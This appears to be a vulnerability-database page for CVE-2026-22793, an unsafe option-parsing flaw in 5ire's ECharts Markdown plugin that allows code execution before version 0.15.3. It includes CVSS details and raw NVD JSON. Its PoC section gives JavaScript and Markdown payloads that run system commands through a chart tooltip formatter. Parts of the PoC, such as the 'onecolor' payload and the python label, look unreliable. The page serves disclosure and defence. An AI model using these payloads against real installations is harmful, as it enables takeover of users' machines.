Security Vulnerability Report
中文
CVE-2026-22793 CVSS 9.6 CRITICAL

CVE-2026-22793

Published: 2026-01-21 21:16:10
Last Modified: 2026-01-29 19:58:17

Description

5ire is a cross-platform desktop artificial intelligence assistant and model context protocol client. Prior to version 0.15.3, an unsafe option parsing vulnerability in the ECharts Markdown plugin allows any user able to submit ECharts code blocks to execute arbitrary JavaScript code in the renderer context. This can lead to Remote Code Execution (RCE) in environments where privileged APIs (such as Electron’s electron.mcp) are exposed, resulting in full compromise of the host system. Version 0.15.3 patches the issue.

CVSS Details

CVSS Score
9.6
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:5ire:5ire:*:*:*:*:*:*:*:* - VULNERABLE
5ire < 0.15.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-22793 PoC - ECharts Unsafe Option Parsing leading to RCE // This PoC demonstrates how attacker can inject malicious JavaScript via ECharts code blocks // Malicious ECharts configuration that triggers RCE const maliciousEchartsConfig = { tooltip: { trigger: 'item', formatter: function() { // Attempt to access Electron's process object const { ipcRenderer } = require('electron'); // Execute arbitrary system command require('child_process').exec('whoami', (error, stdout) => { console.log(stdout); }); return 'Malicious payload executed'; } }, xAxis: { type: 'category', data: ['A', 'B', 'C'] }, yAxis: { type: 'value' }, series: [{ type: 'bar', data: [1, 2, 3] }] }; // Alternative PoC using onecolor plugin or eval-based option parsing const altPayload = { color: ['onecolor', 'rgba(255, 0, 0, 1)', 'hsl(120, 60%, 50%)'], // The 'onecolor' string can be exploited to execute arbitrary code // through the color parsing mechanism }; // Markdown representation for the PoC const markdownPoc = ` \`\`\`echarts { "tooltip": { "formatter": "function() { require('child_process').exec('id'); return 'pwned'; }" } } \`\`\` `; console.log('CVE-2026-22793 PoC for 5ire ECharts RCE vulnerability');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22793", "sourceIdentifier": "[email protected]", "published": "2026-01-21T21:16:10.107", "lastModified": "2026-01-29T19:58:16.513", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "5ire is a cross-platform desktop artificial intelligence assistant and model context protocol client. Prior to version 0.15.3, an unsafe option parsing vulnerability in the ECharts Markdown plugin allows any user able to submit ECharts code blocks to execute arbitrary JavaScript code in the renderer context. This can lead to Remote Code Execution (RCE) in environments where privileged APIs (such as Electron’s electron.mcp) are exposed, resulting in full compromise of the host system. Version 0.15.3 patches the issue."}, {"lang": "es", "value": "5ire es un asistente de escritorio multiplataforma de inteligencia artificial y cliente de protocolo de contexto de modelo. Antes de la versión 0.15.3, una vulnerabilidad de análisis de opciones insegura en el plugin de Markdown de ECharts permite a cualquier usuario capaz de enviar bloques de código de ECharts ejecutar código JavaScript arbitrario en el contexto del renderizador. Esto puede llevar a Ejecución Remota de Código (RCE) en entornos donde las API privilegiadas (como electron.mcp de Electron) están expuestas, lo que resulta en un compromiso total del sistema anfitrión. La versión 0.15.3 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:5ire:5ire:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.15.3", "matchCriteriaId": "E337B209-844D-4396-B279-063A15A1C0DC"}]}]}], "references": [{"url": "https://github.com/nanbingxyz/5ire/releases/tag/v0.15.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/nanbingxyz/5ire/security/advisories/GHSA-wg3x-7c26-97wj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}